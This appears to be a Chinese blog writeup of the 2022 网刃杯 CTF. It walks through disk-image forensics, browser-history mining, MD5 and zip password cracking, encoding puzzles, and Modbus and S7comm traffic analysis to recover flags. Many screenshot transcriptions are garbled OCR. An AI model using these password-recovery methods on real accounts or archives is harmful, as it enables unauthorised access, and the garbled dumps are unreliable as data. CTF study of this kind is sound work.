# 第二届网刃杯网络安全大赛 Writeup

# 原创

小蓝同学、
 □ 己于 2022-04-26 19:13:16 修改
 ○ 1499 ☆ 收藏 3
 分类专栏: CTF WP MISC 文章标签: 网刃杯 ICS CTF
 于 2022-04-26 19:11:46 首次发布
 版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。
 本文链接: https://blog.csdn.net/qq\_49422880/article/details/124431578
 版权



CTF WP 同时被 2 个专栏收录

1篇文章0订阅

订阅专栏



9 篇文章 0 订阅 订阅专栏

第二届网刃杯网络安全大赛 Writeup

前言

MISC

玩坏的XP\*

ISC

ncsubj

carefulguy

easyiec

хуро7

喜欢移动的黑客\*

LED\_BOOM\*

需要安全感\*

cryptolalia\*

#### WEB

Sign\_in

RE

freestye

ez\_algorithm

Re\_function

看了去年的这个比赛,感觉难度比较适中,于是尝试今年去参加一下。成绩也不是很好感觉打CTF还是需要一定的经验,节奏和 时间没安排好,导致上午出了五个题后下午就再没出题,有点小遗憾。取证题也没出...还是得多看看套神博客。

## **MISC**

## 玩坏的XP\*

解压后发现是虚拟磁盘文件,使用DiskGenius挂载后分析。 查看桌面有五张图片。看meiren.png就感觉有点问题,提取出来进行查看。

HD1:INTELSSDPEKNW512G8H(477GB)	\Documents and Settings\A	dministrator\	桌面\10个t的学习	资料			~	-
→ Windows XP Professional.vmdk(4	◆ 名称	大小	文件类型	属性	短文件名	修改时间	创建时间	
	◆ 经标	1.5MB 52.7KB 33.4KB 102.9KB 92.2KB	文件类型 PNG 图片 PNG 图片 PNG 图片 PNG 图片 PNG 图片	雇性 HA A A A	短文件名 meiren.png 4.png 3.png 2.png 1.png	● 成田同 2022-03-18 10:06:41 2021-07-13 11:02:51 2021-03-02 16:22:12 2021-03-02 16:16:30 2021-04-23 09:52:49	初建时间 2022-03-18 10:06:41 2021-07-13 11:07:40 2021-03-02 16:23:02 2021-03-02 16:17:09 2021-03-23 09:54:52	

そので、 予告 (1.) · CII · VOlatility\_2.0\_VVIIIOT · オクマームション・ Outility



使用formost分解图片,发现能分解出压缩包和图片,图片里有两张meiren图,压缩包解压出来之后是一张not flag的图片,继续分解no flag的图片。得到一个压缩包但是需要密码,但是我这里居然没有提醒,提醒的文件上写着: 密码容易忘所以放在了某个挂着项链的软件上了

名称	大小	压缩后大小	类型 文件夹	修改时间	CRC32
something.png *	16,047	14,449	PNG 文件	2022/3/17 10:	A348266B

CSDN @小蓝同学`

这里没有安装过QQ所以查看是否还有其他的软件符合他的要求。

HD0:TOSHIBAMQ04ABF100(932GB)	^	分区参数 浏览	文件 扇区编辑						
HD1:INTELSSDPEKNW512G8H(477GE		Document	s and Settings\A	Administrato	r\Application	n Data\Mozilla\Firefo	x\Profiles\s9yjflgm.	default	
VD0:Windows XP Professional.vmdk(		♣ 名称		大	小 文件类型	属性	短文件名	修改时间	创建时间

⇒→→ ≠分区(0)								
Documents and Setti	nac	🔄 times.json	29 B	json 文件	Α	TIMES~1.JSO	2022-03-18 10:05:52	2022-03-18 10:05:52
	ngs	storage.sqlite	512 B	sqlite 文件	Α	STORAG~1.SQL	2022-03-18 10:06:02	2022-03-18 10:06:02
Administrator		SiteSecurityServiceState.txt	478 B	文本文档	А	SITESE~1.TXT	2022-03-18 10:07:31	2022-03-18 10:07:31
Application Da	ita	sessionstore.js	28.9KB	is 文件	Α	SESSIO~1.JS	2022-03-18 10:07:31	2022-03-18 10:07:31
🖶 📑 Identities		sessionCheckpoints.ison	288 B	, ison 文件	А	SESSIO~1.JSO	2022-03-18 10:07:31	2022-03-18 10:07:31
🖶 📑 Microsoft		SecurityPreloadState.txt	0 B	文本文档	А	SECURI~1.TXT	2022-03-18 10:07:31	2022-03-18 10:07:31
🖃 🔄 Mozilla		secmod.db	16.0KB	QQ聊天记录	A	secmod.db	2022-03-18 10:06:01	2022-03-18 10:06:01
Extensio	ins	search.json.mozlz4	17.4KB	mozlz4 文件	А	SEARCH~1.MOZ	2022-03-18 10:06:04	2022-03-18 10:06:04
🖨 📑 Firefox		prefs.js	14.5KB	js 文件	А	prefs.js	2022-03-18 10:07:31	2022-03-18 10:07:31
🗈 🔂 Crash	n Reports	pluginreg.dat	1.3KB	, VideoCD .dat 文件	А	PLUGIN~1.DAT	2022-03-18 10:06:02	2022-03-18 10:06:02
🖨 🔂 Profil	les	places.sqlite-wal	640.5KB	sqlite-wal 文件	А	PLACES~2.SQL	2022-03-18 10:07:25	2022-03-18 10:06:02
🖨 📜 s9	yjflgm.defa	nlaces solite-shm	32 OKB	salite-shm 文件	А	PLACES~3.SQL	2022-03-18 10:06:02	2022-03-18 10:06:02
	addon-no	places.sqlite	10.0MB	sqlite 文件	А	PLACES~1.SQL	2022-03-18 10:07:25	2022-03-18 10:06:02
	bookmark	permissions.sqlite	90.0KB	sqlite 文件	А	PERMIS~1.SQL	2022-03-18 10:06:03	2022-03-18 10:06:01
	browser-e	parent.lock	0 B	lock 文件	А	PARENT~1.LOC	2022-03-18 10:05:52	2022-03-18 10:05:52
	crashes	mimeTypes.rdf	3.7KB	rdf文件	А	MIMETY~1.RDF	2022-03-18 10:06:04	2022-03-18 10:06:04
	datarepor	key3.db	16.0KB	QQ聊天记录	А	key3.db	2022-03-18 10:07:31	2022-03-18 10:06:01
	extension	extensions.json	16.7KB	json 文件	Α	EXTENS~1.JSO	2022-03-18 10:06:03	2022-03-18 10:06:03
	amp	🔬 extensions.ini	779 B	配置设置	А	EXTENS~1.INI	2022-03-18 10:07:31	2022-03-18 10:07:31
	amp-amr	cookies.sqlite	512.0KB	sqlite 文件	Α	COOKIE~1.SQL	2022-03-18 10:07:31	2022-03-18 10:06:02
	ginp ginp minidumr	content-prefs.sqlite	224.0KB	sqlite 文件	А	CONTEN~1.SQL	2022-03-18 10:07:31	2022-03-18 10:06:02
	ntab	<						CSDN @小蓝同学
±	intau L							

这里找到了火狐浏览器的位置,看到了几个QQ的相关信息还以为是需要我们再里面找,实际上是要我们再 places.sqlit 中找相关的信息,导出该数据,使用软件来查看里面的数据库数据。

旦目史汐

# Downloads

(Please consider sponsoring us on Patreon 😄)

## Windows

Our latest release (3.12.2) for Windows:

- DB Browser for SQLite Standard installer for 32-bit Windows
- DB Browser for SQLite .zip (no installer) for 32-bit Windows
- DB Browser for SQLite Standard installer for 64-bit Windows
- DB Browser for SQLite .zip (no installer) for 64-bit Windows

Windows PortableApp

CSDN @小蓝同学`

下一个即可,进行查看。

局新建数据库(M) 局打开数据库(O) 局写入更改(W) 除倒退更改(R) 除打开工程(P) (含	保存工程(V) 🔒 附加数据库(A)	¥关闭数据库(C)	
数据库结构 浏览数据 编辑杂注 执行 SQL			编辑数据库单元格(C) 8 ×
表(1): 🗐 noz_places 🗸 😂 😮 💊 📓 📾 📾 🕞 石所有列中过滤			模式: 文本 🗸 😡 🖹 🗦 🖨 🖓 🥥 💿 🖨
id ur1	title	rev_host visit_c ^	
□ 过滤 9 9 http://www.firefox.com.cn/	过滤 NULL	过滤 nc.moc.xofer1f.www.	1 http://10.30.7.1:8000/login.html?qq=1272045963
10 10 http://www.firefoxchina.cn/	NULL	nc.anihcxoferif.www.	
11 11 https://www.baidu.com/index.php?tn=monline_3_dg	NULL	moc. udiab. www.	
12 12 http://www.sina.com.cn/	NULL	nc.moc.anis.www.	
13 13 http://weibo.com/?c=spr_web_sq_firefox_weibo_t001	NULL	moc.obiew.	
14 14 http://www.163.com/	NULL	moc. 361. www.	
15 15 http://youku.com/	NULL	moc. ukuoy.	当前在单元格中的数据的类型: 文本/ 数值
16 16 http://ai.taobao.com/?pid=mm_28347190_2425761_17624777	NULL	moc.oaboat.ia.	46 个字符
17 17 http://union.click.jd.com/jdc?…	NULL	moc.dj.kcilc.noinu.	数据库架构(M) ♂ ×
18 18 http://aos.prf.hn/click/camref:1111EF	NULL	nh. frp. soa.	
19 19 http://www.yihaodian.com/?tracker_u=10977119545	NULL	moc.naidoahiy.www.	名称 英型 ^
20 20 http://www.hao123.com/?tn=12092018_12_hao_pg	NULL	moc. 321oah. www.	★ 目本 (12) ■ 本 (12) ■ moz appo attributes
21 21 http://c.duomai.com/track.php?"	NULL	moc. iamoud. c.	> moz_annos
22 22 place:sort=8&maxResults=10			> 🗉 moz_bookmarks
23 23 place:type=6&sort=14&maxResults=10			> moz_favicons
24 24 https://www.mozilla.org/zh-CN/firefox/52.9.0/firstrun/	欢迎使用 Firefox	gro.allizom.www.	> moz_historyvisits
25 25 https://home.firefoxchina.cn/	火狐主页	nc.anihcxoferif.emoh.	> moz_inputhistory
26 26 https://www.hao123.com/?tn=55030201_hao_pg	NULL	moc. 321oah. www.	> moz_items_annos
27 27 https://u.jd.com/nwPGabv		moc. dj. u.	> moz_keywords
28 28 https://www.ifeng.com/?source=mozilla		moc.gnefi.www.	> sqlite_sequence
29 29 https://www.ctrip.com/?AllianceID=263200&sid=1851274&ouid=&app=0101F00		moc.pirtc.www.	> 🖬 sqlite_statl
30 30 https://weibo.com/?source=mozilla		moc.obiew.	>> ※ 索引 (17)
31 31 https://c.duomai.com/track.php?		moc. iamoud. c.	> moz_annos_placeattributeindex
32 32 https://ai.taobao.com/?pid=mm 28347190 2425761 17624777		moc. oaboat. ia.	> > moz_bookmarks_itemindex
	Pat	1 7 40 41	> 📎 moz_bookmarks_itemlastmodifiedindex

33	33 http://10.30.7.1:8000/	之前下载的图片 リュロ	rectory	listing for /	1. 7. 03. 01.			N N man haalmaalan namarkindan
34	34 http://10.30.7.1:8000/meiren.png	nei	iren. png	(PNG 图像, 700x700 …	1.7.03.01.			> > moz_bookmarks_parentindex
35	35 http://10.30.7.1:8000/login.html?qq=1272045963	NUL	IL.	◆ 网页链接	1. 7. 03. 01.	~		> > moz_historyvisits_fromindex
<						>	1	▶ ● mor biotommicite placedate/abbN @小篮同子

直接查看相关的QQ号,查看QQ空间。



密码MD5之后的样子,在线解密即可。

得到 xiaomin520, 然后解压压缩包即可拿到flag。



# ISC

## ncsubj

ncsubj						
难度系数: ■ ■ ■	• <b>-</b> .4.0					
题目描述:wowow 具体的解	w,某厂商上位机TIA PORTIAL 密需要你自己去慢慢发现哟,fl	软件受到了hacker勒 ag格式为flag{}	<b>家软件的加密攻击,</b> 不	5过好在我们的监测系统	浦获了攻击者非法操作的流量,	
题目附件: 附件						
解题进度:1/1					CSDN @小蓝同	学`

#### 跟踪协议流

	- 0 T	¢ 00	т т т т т т т т т т т т т т т т т т т	D •
····2····	т ЕН	от р ¢	- 0 T	φ οπ
······································	- 0 T	2μ		φψD D Φ
······································	····	от тф	!	····Φ····
······	·····:	21		8 T
		ф ор I		·····
1		···· •	U.FC!	· · · · · · · · · · · · · · · · · · ·
····· W		···· •		!
1b=2	· L		U	· · · · · · · · · · · · · · · · · · ·
QD		···· \$=21	·····QD·····	!
1b	· L	\$QD	U. K3!	· · · · · · · · · · · · · · · · · · ·
QB	!	···· \$=21	\$QB	!
ID\$=2	· I	\$	U	• • • • • • • • • • • • • • • • • • •
QD! U.U	!	••••\$•••••=•••2•••••	· · · · · · · · · QD. · · · ·	!
ID\$=2	. I	\$	U. Vc!2ID	• • • • • • • • • • • • • • • • • • •
QD! U.!#	!2ID	••••\$••••=•••2•••••I•••••	·····QB	! U.rc!.
ID\$=2	. I	\$QD!	U. \$!2ID	• • • • • • • • • • • • • • • • • • •
QD! U.uc	!D	••••\$••••=•••2•••••I••••	\$QB	!
ID \$=2	. I	\$QD!	U. w ! 2 I D	• • • • • • • • • • • • • • • • • • •
QB! U.'	!D	•••••\$••••••••••••••••••••••••••••••••	\$QD	!
ID\$=2	. I	\$QB!	U.)!2ID	\$=2I
QD! U.y	!D	\$	\$QB	! U.O. <mark>!.</mark>
ID\$=2	.I	\$QB!	U	\$=2I
QD! U. 1S	!D	\$=2I	\$QD	! Uc <mark>!.</mark>
ID\$=2	.I	\$QD!	U 2c!2ID	\$=2I
QD! U	!D	\$=2I	\$QB	!
ID\$=2	.I	\$QD!	U!.c!2ID	\$=2I
QD! U"6	!D	\$=2I	\$QD	!
I <del></del>	.I	\$QD!	U#832I	
cHxmfGh8b3x3fHJ8				
ID\$=2	.I	\$QD!	S!2ID\$	=2I
QD!qc!21		2I	\$QD!*	#!
I \$	QD!s!	2ID\$	=2I	\$QB
ID\$=2	. I	\$QD!!	.C!2ID\$	=2I
QB	2ID	\$=2I	\$QB	
ID\$=2	. I	\$QD!!	9!	=2I
QB!	D\$=.	2I	\$QB	!
I \$	QD	2ID\$	=2I	\$QD
ID\$=2	. I	\$	.s!	=2I
QD		2I	\$QD!	!
I\$	QB	2ID\$	=2I	\$QB
I				
cHxnfA==				
I				
	J			
I				CSDN @小花同号;
				USDN @小 <u>與</u> 同子

拿出来base64解码后,去掉|再来一次解密即可。

jungnapfhowrpg				^
				AI
解密结果↓		复制内容	↑解密结果转至文本框↑	Ĭ
base58解码: base36解码: base91解码:			,	^
base92解码: 培根bacon解码: 摩斯解码:	l″≫ul°,iø <sup>−</sup> t			
键盘解码: 猪圈解码: Rot13解码:	ayepejgoqfsigp whatancsubject			
Quoted解码: Atbash解码: ISFuck解码:	jungnapfhowrpg QFMTMZKUSLDIKT jungnapfhowrpg			
JJEncode解码: BrainFuck解码: UPI 紹晃:	immonthowers		c	CSDN @小蓝同学`

# carefulguy

carefulguy		
难度系数: ■ ■ ■ ■ ■ 4.0		
题目描述:电厂工程师Bob正在对将电磁阀的工程写入PLC,传输时 一些,实时监测设备抓到一些流量包,你能从流量包中找	受到黑客攻击被迫停止,重启后才恢复运作, 试出遗失的数据吗?	黑客的攻击导致工程师的数据丢失了
题目附件: 附件		
解题进度: 1/1		
영화 귀엽 방법 것은 성격이 있는 것이 같은 것이 없는 것이다.		CSDN @小蓝同学 <sup>、</sup>

#### 跟踪流: 7d开始

W.\%	
.MAIN.OPGT	W
*V	*

66结束



提取出来hex解码, 逆序即可。



## easyiec



字符串搜索,即可。

30	00 0c 29 5f 1c 5e 00 50	56 c0 00 08 08 00 45 00	··) ·^·P V····E·		
10	00 4c 14 a5 40 00 80 06	f6 16 c0 a8 b7 01 c0 a8	$-L$ $ \mu$ $         -$		
20	b7 9d f3 13 09 64 2e ab	4d 54 8d 36 b9 37 50 18	•••••d.• MT·6·7P·		
30	10 09 27 6f 00 00 68 22	e0 00 14 01 7d 01 0d 00	·· 'o··h" ····}···		
40	01 00 00 00 00 01 00 01	11 <mark>66 6c 61 67</mark> 7b 65 34	······································		
50	35 79 5f 31 65 63 69 30	34 7d	5y_1eci0 4}		
7	· Thermantian shipet your date (ienen0070 endy yourdate) 21 horte(e) · □日;				

## xypo7

xyp07			
难度系数: 【	■ ■ ■ ■ 3.0		
题目描述:「 ;	电气公司的师傅九爷今日收了他的第七个徒弟,取名做小七,九爷生来喜 试题,初入行业的小七显得不知所措,你能帮助他解决这个问题么?	歌7这个数字,于是决定重点培养小七,于是便 <del>》</del>	给小七出了一道测
题目附件:	附件		
解题进度:	1/1		
			CSDN @小蓝同学`

直接解压文件发现需要密码,查看文件末尾有附加数据,发现是base64的形式。

 DA
 OD
 OA
 OD
 <td

提取出来不断base64解码即可拿到密码。Xyp77&7&77,然后发现奇怪的数据,直接解码base91。



welcome\_S7\_world\_xyp07 È#/%ááð¢ðq[]=ú]h >ō a.

喜欢移动的黑客\*

pcapng流量包头部损坏,把FFFFFFFFC成 0A 0D 0A 0D即可打开。哎这个题没出实着可惜,我还一直以为pcap和pcapng是 一种数据结构,当时脑抽了没有看前面的文件格式,按照pcap的格式去改发现一直不对。改完之后直接所定数据data即可。

n	odbus.data							$\times$ $\rightarrow$	• +
lo.	Time Source	Destination	Protocol	Length Info					^
	623 695.566905 10.0.43.110	10.0.7.148	Modbus	66 Query: Trans:	0; Unit:	1, Func:	6: Write Single Register		
	623 695.567334 10.0.7.148	10.0.43.110	Modbus	66 Response: Trans:	0; Unit:	1, Func:	6: Write Single Register		
	657 763.407977 10.0.43.110	10.0.7.148	Modbus	66 Query: Trans:	0; Unit:	1, Func:	6: Write Single Register		
	657 763.408512 10.0.7.148	10.0.43.110	Modbus	66 Response: Trans:	0; Unit:	1, Func:	6: Write Single Register		
	661 773.715865 10.0.43.110	10.0.7.148	Modbus	66 Query: Trans:	0; Unit:	1, Func:	6: Write Single Register		
	661 773.716276 10.0.7.148	10.0.43.110	Modbus	66 Response: Trans:	0; Unit:	1, Func:	6: Write Single Register		
	663 783.040451 10.0.43.110	10.0.7.148	Modbus	66 Query: Trans:	0; Unit:	1, Func:	6: Write Single Register		
	663 783.040754 10.0.7.148	10.0.43.110	Modbus	66 Response: Trans:	0; Unit:	1, Func:	6: Write Single Register		
	677 834.729996 10.0.43.110	10.0.7.148	Modbus	66 Query: Trans:	0; Unit:	1, Func:	6: Write Single Register		
	677 834.735092 10.0.7.148	10.0.43.110	Modbus	66 Response: Trans:	0; Unit:	1, Func:	6: Write Single Register		
	679 842.012273 10.0.43.110	10.0.7.148	Modbus	66 Query: Trans:	0; Unit:	1, Func:	6: Write Single Register		
	679 842.017280 10.0.7.148	10.0.43.110	Modbus	66 Response: Trans:	0; Unit:	1, Func:	6: Write Single Register		
	681 849.225558 10.0.43.110	10.0.7.148	Modbus	66 Query: Trans:	0; Unit:	1, Func:	6: Write Single Register		
	681 849.229858 10.0.7.148	10.0.43.110	Modbus	66 Response: Trans:	0; Unit:	1, Func:	6: Write Single Register		
	683 857.219536 10.0.43.110	10.0.7.148	Modbus	66 Query: Trans:	0; Unit:	1, Func:	6: Write Single Register		
	683 857.219848 10.0.7.148	10.0.43.110	Modbus	66 Response: Trans:	0; Unit:	1, Func:	6: Write Single Register		
	686 867.694494 10.0.43.110	10.0.7.148	Modbus	66 Query: Trans:	0; Unit:	1, Func:	6: Write Single Register		
	686 867.694845 10.0.7.148	10.0.43.110	Modbus	66 Response: Trans:	0: Unit:	1. Func:	6: Write Single Register	DN-@ANGE	¥. Y
< I	name 63244, 66 butes on win	o (Eng hite)	se butor	conturned (EDQ bits) on int	tonfaco \Doui	CONDE (1E	300047 4470 4500 4773 600115514354) id a	(	

就几个数据包,一个一个看即可。

	桂序员		10,000
HEX	2710	大于2710即可	
DEC	10,000		
ост	23 420		CSDN @小蓝同学、

679 842.017280 10.0.7.148	10.0.43.110	Modbus	66 Response: Trans:	0; Unit:	1, Func:	6: Write Single Register
681 849.225558 10.0.43.110	10.0.7.148	Modbus	66 Query: Trans:	0; Unit:	1, Func:	6: Write Single Register
681 849.229858 10.0.7.148	10.0.43.110	Modbus	66 Response: Trans:	0; Unit:	1, Func:	6: Write Single Register
683 857.219536 10.0.43.110	10.0.7.148	Modbus	66 Query: Trans:	0; Unit:	1, Func:	6: Write Single Register
683 857.219848 10.0.7.148	10.0.43.110	Modbus	66 Response: Trans:	0; Unit:	1, Func:	6: Write Single Register
686 867.694494 10.0.43.110	10.0.7.148	Modbus	66 Query: Trans:	0; Unit:	1, Func:	6: Write Single Register
686 867.694845 10.0.7.148	10.0.43.110	Modbus	66 Response: Trans:	0; Unit:	1, Func:	6: Write Single Register

> Frame 68156: 66 bytes on wire (528 bits), 66 bytes captured (528 bits) on interface \Device\NPF\_{1E009DA7-4A7B-4F0C-A772-6D811FF142FA}, id 0
> Ethernet II, Src: 90:0f:0c:a6:fa:23 (90:0f:0c:a6:fa:23), Dst: 90:0f:0c:a6:fa:23 (90:0f:0c:a6:fa:23)

Internet Protocol Version 4, Src: 10.0.43.110, Dst: 10.0.7.148

> Transmission Control Protocol, Src Port: 40803, Dst Port: 502, Seq: 1, Ack: 1, Len: 12

> Modbus/TCP

Modbus .000 0110 = Function Code: Write Single Register (6) Reference Number: 1

Data: 2766

 0000
 90
 0f
 0c
 a6
 fa
 23
 90
 0f
 0c
 a6
 fa
 23
 80
 04
 50
 ·····#····#··E

 0010
 00
 34
 91
 de
 40
 00
 40
 06
 61
 e4
 0a
 00
 2b
 6e
 0a
 00
 ····
 ····
 ····
 ····
 ····
 ····
 ····
 ····
 ····
 ····
 ····
 ····
 ····
 ····
 ····
 ····
 ····
 ····
 ····
 ····
 ····
 ····
 ····
 ····
 ····
 ····
 ····
 ····
 ····
 ····
 ····
 ····
 ····
 ····
 ····
 ····
 ····
 ····
 ····
 ····
 ····
 ····
 ····
 ····
 ····
 ····
 ····
 ····
 ····
 ····
 ····
 ····
 ····
 ····
 ····
 ····
 ····
 ····
 ····
 ····

CSDN @小蓝同学`

#### flag{1008668156}

#### LED\_BOOM\*

这个题也是找不到具有三个相同特征的流量包,没看到开灯的操作记录。花了挺多的时间。 mouchu师傅博客上写着过滤西门子协议后按照包的大小来找会更快一些,经验比较短缺一时想不到这样来找。

	809 341.632467 172.16.1.3	172.16.1.100	S7COMM	115 ROSCTR:[Userdata]	Function:[Response]	->	[CPU	functions]	->	[Read SZL	] ID=0x042	4 Index=0x00	300		
	813 342.137462 172.16.1.3	172.16.1.100	S7COMM	115 ROSCTR:[Userdata]	Function: [Response]	->	[CPU	functions]	->	[Read SZL	] ID=0x042	4 Index=0x00	900		
	817 342.648495 172.16.1.3	172.16.1.100	S7COMM	115 ROSCTR:[Userdata]	Function:[Response]	->	[CPU	functions]	->	[Read SZL	] ID=0x042	4 Index=0x00	300		
	820 343.147463 172.16.1.3	172.16.1.100	S7COMM	115 ROSCTR: [Userdata]	Function: [Response]	->	[CPU	functions]	->	[Read SZL	ID=0x042	4 Index=0x00	900		
	824 343.659503 172.16.1.3	172.16.1.100	S7COMM	115 ROSCTR:[Userdata]	Function: [Response]	->	[CPU	functions]	->	[Read SZL	ID=0x042	4 Index=0x00	900		
	827 344.165525 172.16.1.3	172.16.1.100	S7COMM	115 ROSCTR: [Userdata]	Function: [Response]	->	[CPU	functions]	->	[Read SZL	ID=0x042	4 Index=0x00	300		
	585 294.197153 172.16.1.3	172.16.1.100	S7COMM	123 ROSCTR: [Userdata]	Function: [Response]	->	[CPU	functions]	->	[Read SZL	] ID=0x007	4 Index=0x00	900		
	692 316.876176 172.16.1.3	172.16.1.100	S7COMM	123 ROSCTR:[Userdata]	Function:[Response]	->	[CPU	functions]	->	[Read SZL	] ID=0x007	4 Index=0x00	900		
	787 333.192261 172.16.1.3	172.16.1.100	S7COMM	123 ROSCTR:[Userdata]	Function:[Response]	->	[CPU	functions]	->	[Read SZL	] ID=0x007	4 Index=0x00	900		
Γ.	473 261.169574 172.16.1.3	172.16.1.100	S7COMM	127 ROSCTR:[Userdata]	Function:[Response]	->	[CPU	functions]	->	[Read SZL	(S7COMM	reassembled	id=246)	ID=0x0017	Index=0x0000
	482 262.374614 172.16.1.3	172.16.1.100	S7COMM	127 ROSCTR:[Userdata]	Function:[Response]	->	[CPU	functions]	->	[Read SZL	] (S7COMM	reassembled	id=247)	ID=0x0017	Index=0x0000
	491 262.678550 172.16.1.3	172.16.1.100	S7COMM	127 ROSCTR:[Userdata]	Function:[Response]	->	[CPU	functions]	->	[Read SZL	(S7COMM	reassembled	id=248)	ID=0x0017	Index=0x0000
	499 262.988565 172.16.1.3	172.16.1.100	S7COMM	127 ROSCTR:[Userdata]	Function:[Response]	->	[CPU	functions]	->	[Read SZL	(S7COMM	reassembled	id=249)	ID=0x0017	Index=0x0000
	506 263.299527 172.16.1.3	172.16.1.100	S7COMM	127 ROSCTR: [Userdata]	Function: [Response]	->	[CPU	functions]	->	[Read SZL	(S7COMM	reassembled	id=250)	ID=0x0017	Index=0x0000
	514 263.613599 172.16.1.3	172.16.1.100	S7COMM	127 ROSCTR: [Userdata]	Function: [Response]	->	[CPU	functions]	->	[Read SZL	(S7COMM	reassembled	id=251)	ID=0x0017	Index=0x0000
	382 250.434099 172.16.1.100	172.16.1.3	S7COMM	133 ROSCTR: [Job ]	Function: [Read Var]										
	390 251.456536 172.16.1.100	172.16.1.3	SZCOMM	133 ROSCTR: [Job ]	Function: [Read Var]										CSDN @小蓝同学`
_						-									

查看内容包:

SZL partial list count: 7 > SZL data tree (list count no. 1) cpu led id: 0x0001 ..... .000 .... = Bits 0, 1, 2: Rack number: 0 .... 0... .... = Bit 3: CPU Type (0=Standby, 1=Master): 0 .... 0000 0001 = Byte 1: LED ID: SF (group error) (1) Status of the LED: Off (0) Flashing status of the LED: Not flashing (0) v SZL data tree (list count no. 2) cpu led id: 0x0004 ..... .000 ..... = Bits 0, 1, 2: Rack number: 0 .... 0... .... = Bit 3: CPU Type (0=Standby, 1=Master): 0 .... 0000 0100 = Byte 1: LED ID: RUN (4) Status of the LED: On (1) Flashing status of the LED: Not flashing (0) > SZL data tree (list count no. 3) > SZL data tree (list count no. 4)

CSDN @小蓝同学`

于是这三个包加起来就是: 585692787 密文给出的是:

#### U2FsdGVkX19c00V8qLVgcso8U4fse+7LirQKiHFkn9HU9BuwFAivH1siJXg/Rk6z

CSDN @小蓝同学`

AES解密:



## 需要安全感\*

这个是三菱的一个文件 按照我做题前的感觉是下了软件之后直接在里面就就可以找到flag 但是比赛结束了软件还没下好。套神 WP证明确实是这个思路。G...

## cryptolalia\*



#### 给了一张工业的污水处理过程,简单查看了一下直接分解图片。

🗋 设备药剂间数据详情.zip	2022/3/17 15:36	ZIP 文件	884 KB
📄 温馨提示.txt	2022/3/17 16:06	文本文档	1 KB
☐ 污泥脱水间数据详情.zip	2022/3/17 16:03	ZIP 文件	53 KB

查看 <mark>污泥脱水间数据详情.zip</mark>, 官方hint: 直接爆破即可,数字加大写字母爆破。 得到密码: G6H7

查看里面的流量包,发现有经过对称加密算法加密的字符串。

••	• • •	• •	• • •		•••	•1				• • • •			••5	• • •		,	. L			 	• • •	• • •	.u.		• • •			• • • •	• • •	۷	• • •	• • • •	· · · v · · ·		.w.
		w.					ĸ			.x.					у				.y	 			z												
. z		s.	.Р.				ŧ								·					 									{			.(.			
	.s.	•P				#.														 															
.1		s.	.Р.				ŧ													 									}	.w.		• (P	.U.2.F	.s.d.(	5.V.
. <u>.</u>	.p.	c.;	z.0	.к.	W. 9	.м	.c.	i.g.	r.J.	t.8	3.f.	.0.	9.d	l.s.	Ν					 . }			.(.	~ <b></b>			(.~.		·			· · · ·			
				· 			· · · `		(								/	<b>(</b> )		 					(		`								
									<i>.</i>									<u>.</u>							2.										
									2									2							2										
									$\sim$									2		 					~										
•••	••••	•••	••••			•••	••••	••••	····				••••				••••	····	••••	 ••••		••••	•••	••••	~				••••	••••	•••	••••	CSDN	@小雪	盔同
••	•••		•••			•••	•••		( • • •			• • •	• • •							 			• • •		( • •	• • •							•		

#### U2FsdGVkX19pczQKWsMcjgrJt8f09dSN

官方给出的提示: 鱼 is very important, 那么密钥就是fish了,一个一个尝试需要密码的加密即可拿到下一个压缩包的解压密码。 解密网站: 对称加密网址

H27 - 264 2	NT CL · LL · MUNH CL ·	5 /JT 14									
加密/解密	AES加密/解密	DES加密/解密	RC4加密/解密	Rabbit加密/解密	TripleDes;	加密/解密	MD5加/解	密 Base64加/解密	Hash加/解密	JS 加密	JS 解密
b0Le4n\$					加密选择,	部分需要密	码。	U2FsdGVkX19pczQKW	sMcjarJt8f09dSN		
					O AES		6				
					O RC4	🔵 Rab	bit				
					O MD5	<ul> <li>Trip</li> </ul>	leDes				
					fish						
					密码是可选项,	也就是可以	以不填。			CSDN @	》小蓝同学`

#### b0Le4n\$

继续解压下一个压缩包,解压出来之后发现还有一个压缩包,发现还需要密码,使用十六进制查看器查看数据。 改为00即可。

	00	111	20	10		~	50	20	10	<u> </u>		~~	00	55		20	1 00.1 /100 0110
:CC60h:	75	3D	0B	В7	03	$^{\rm CD}$	EE	E7	7F	$\mathbf{F}\mathbf{D}$	3F	50	$_{4B}$	07	08	F6	u=. ·.Íîç.ý? <mark>PK</mark> ö
:CC70h:	Е9	$\mathbf{F}\mathbf{D}$	8 <b>A</b>	04	CC	0D	00	66	66	20	00	50	4B	01	02	(1F	éýŠ.Ìff .PK(.
:CC80h:	00)	14	00	00	00	08	00	75	73	71	54	F6	E9	$\mathbf{F}\mathbf{D}$	<b>8</b> A	04	.)usqTöéýŠ.
:CC90h:	CC	0D	00	66	66	20	00	17	00	4D	00	00	00	00	00	00	ÌffM
:CCA0h:	00	20	00	00	00	00	00	00	00	С9	<b>E</b> 8	В1	B8	D2	<b>A</b> 9	BC	Éè±,Ò©¼
:CCB0h:	C1	BC	E4	CA	$\mathbf{F}\mathbf{D}$	BE	DD	В2	C9	BC	AF	2E	70	63	61	70	Á¼äÊý¾Ý²É¼⊂.pcap
:CCC0h:	<b>A</b> 0	00	20	00	00	00	00	00	01	00	18	00	14	F3	66	1B	óf.

然后查看西门子的协议,跟踪流后发现有图像数据想办法提取出来。

```
.....PNG
. . .
IHDR...p... .....%.+... pHYs......+....tEXtSoftware.Snipaste]..... $IDATX..XkLS....JA.XJ."...B. FD.
1....1 Q....(1.V..T..Q...T.oEy..K....l.P....Wk..n...mz{v....zo..tf....Y{....j..7..../9::Z^^^__.v...
7.U*.../.Cwlll....A.&....9sf.I...h....D..d...MprrR.T.A.&.'...F.P...._..fsCC.H$2...G..=~....0.>.c2..MMM...&.
..V.kjj^.x!..0.&..ZK .444.Z...###0.<.5.p..3g.e...>.}..edd.Z.NLL...Crr.H$.....x......&M..1.....[.n..s.d2...kd.....
2...U......
. . . . . . . . . . . .
.d.....l.i.:x.`GG.P(<...<.....1...<==...`..<
. . . .
[..BSS.....J..n.N.....m.-.sB......suu...v.Zmm...a..x.b.....F.III.....^^^...a....
.._...WXX.f.....^.oll..~'.....dggS(..Z}..!
. . . . . . . . . . . .
.E".....L&.&0(.
.J..R..V{{..`.M.FGG0.....'oo.....H466.....
......å}9....WWW...@.$.
分组 1360。590 <mark>客户端</mark> 分组, 590 服务器 分组, 1,179 turn(s). 点击选择。
                                                                      CSDN @小蓝同学
where A and America and America
```

